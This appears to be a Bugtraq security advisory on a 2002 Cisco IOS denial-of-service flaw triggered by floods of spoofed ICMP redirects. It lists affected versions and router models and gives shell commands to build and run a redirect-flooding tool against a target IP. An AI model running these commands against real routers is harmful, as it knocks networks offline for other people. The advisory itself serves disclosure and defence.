Cisco IOS ICMP Redirect Denial Of Service Vulnerability

BID:4786

Info

Cisco IOS ICMP Redirect Denial Of Service Vulnerability

Bugtraq ID: 4786
Class: Failure to Handle Exceptional Conditions
CVE:
Remote: Yes
Local: No
Published: May 21 2002 12:00AM
Updated: May 21 2002 12:00AM
Credit: Discovery of this issue is credited to FX <[email protected]>.
Vulnerable: Cisco IOS 12.0(3)
Cisco IOS 11.3(11b)
Cisco IOS 11.1(24a)
Cisco IOS 11.0(22a)
Cisco IOS 11.0(18)
Not Vulnerable: Cisco IOS 12.2(5)
Cisco IOS 12.1(11)
Cisco IOS 12.0(9)
Cisco IOS 11.2(26a)

Discussion

Cisco IOS ICMP Redirect Denial Of Service Vulnerability

IOS is the Internet Operating System, used on Cisco routers. It is distributed and maintained by Cisco.

It has been reported that it is possible to cause a denial of service in some Cisco routers by sending a large amount of spoofed ICMP redirect messages.

This vulnerability has been assigned Cisco bug ID CSCdx32056.

The following products are known to be affected:

Cisco 1005 running IOS 11.0(18)
Cisco 1603 running IOS 11.3(11b)
Cisco 1603 running IOS 12.0(3)
Cisco 2503 running IOS 11.0(22a)
Cisco 2503 running IOS 11.1(24a)

Exploit / POC

Cisco IOS ICMP Redirect Denial Of Service Vulnerability

The following exploit information was submitted:

To generate random ICMP redirect messages, a sender tool is available
at http://www.phenoelit.de/irpas/icmp_redflod.c, which has to be
linked with the IRPAS packet library.

linuxbox# cd /where/irpas/is
linuxbox# make libpackets.a
linuxbox# gcc -o icmp_redflod -I. -L. icmp_redflod.c -lpackets
linuxbox# ./icmp_redflod -i eth0 -D <destination_ip> -G <fake_gateway>

On high bandwidth networks, the command line switch -w0 can be used to increase the sending rate.

Solution / Fix

Cisco IOS ICMP Redirect Denial Of Service Vulnerability

Solution:
The vendor has stated that fixes are forthcoming.

References

Cisco IOS ICMP Redirect Denial Of Service Vulnerability

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